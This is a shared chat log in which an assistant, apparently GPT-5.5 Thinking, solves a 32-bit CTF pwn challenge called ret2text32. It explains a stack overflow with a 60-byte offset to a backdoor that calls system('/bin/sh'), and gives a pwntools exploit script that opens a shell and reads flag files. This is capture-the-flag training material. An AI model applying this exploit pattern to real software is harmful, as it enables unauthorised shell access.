logoChat01.ai

这是一道ctf题目(pwn)，然后请你帮我分析得到flag

تم الإنشاء في: ٢٣ مايو ٢٠٢٦

تمت الإجابة باستخدام GPT-5.5 Thinking بواسطة Chat01

سؤال

main.c
ret2text32

这是一道ctf题目(pwn)，然后请你帮我分析得到flag

الفكرة

Considering stack exploitation details for backdoor

I need to focus on creating the solution, considering a ret2text32 approach. No ASLR effect since there's no PIE, and the fixed backdoor doesn't require libc system. The offset from assembly seems to be 60, likely due to saved registers and padding, while the backdoor address could be 0x08049213. I wonder if stack alignment might be an issue, but the shell should already be active even after the return.

Handling remote shell interaction flow

I need to consider if a remote shell won't echo due to interactivity. The plan is to send the payload first, followed by commands with a small delay. The script would handle sending commands after the backdoor is triggered. TCP reading behavior ensures it doesn't consume bytes too quickly, allowing precise control over the flow.

Thought for 1m 11s

الإجابة

可以，题目就是 ret2text32，利用思路已经确定。

源码里 backdoor() 直接执行 system("/bin/sh")，而 vuln() 里 char buf[48] 却 read(0, buf, 0x200)，存在栈溢出。(main.c)

关键结论

二进制信息：

text
32-bit ELF
No PIE
No Canary
NX enabled
backdoor = 0x08049213

vuln() 反汇编里缓冲区地址是：

asm
lea eax, [ebp-0x38]

返回地址在：

text
ebp + 4

所以覆盖返回地址的偏移是：

text
0x38 + 4 = 0x3c = 60

最终 payload：

python
b"A" * 60 + p32(0x08049213)

也就是：

text
41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414113920408

pwntools 版本 exploit

python
from pwn import *

context.arch = "i386"

elf = ELF("./ret2text32")

io = remote("HOST", PORT)
# io = process("./ret2text32")

payload = b"A" * 60 + p32(0x08049213)

io.recvuntil(b"Input: ")
io.sendline(payload)

io.sendline(b"cat flag")
io.interactive()

把 HOST 和 PORT 换成远程靶机地址即可。

无 pwntools 版本

我也给你写好了一个可直接用的脚本：

下载 solve_ret2text32.py

用法：

bash
python3 solve_ret2text32.py HOST PORT "cat flag"

或者：

bash
python3 solve_ret2text32.py HOST PORT

脚本默认会尝试：

bash
cat flag
cat flag.txt
cat /flag

说明

你上传的附件里只有 main.c 和 ret2text32，没有本地 flag 文件；而且当前环境无法直接执行这个 32 位 ELF，所以我无法在本地直接读出真实 flag。利用链已经完整，拿到远程地址后运行上面的脚本即可得到 flag。

مشاركة هذا السؤال والجواب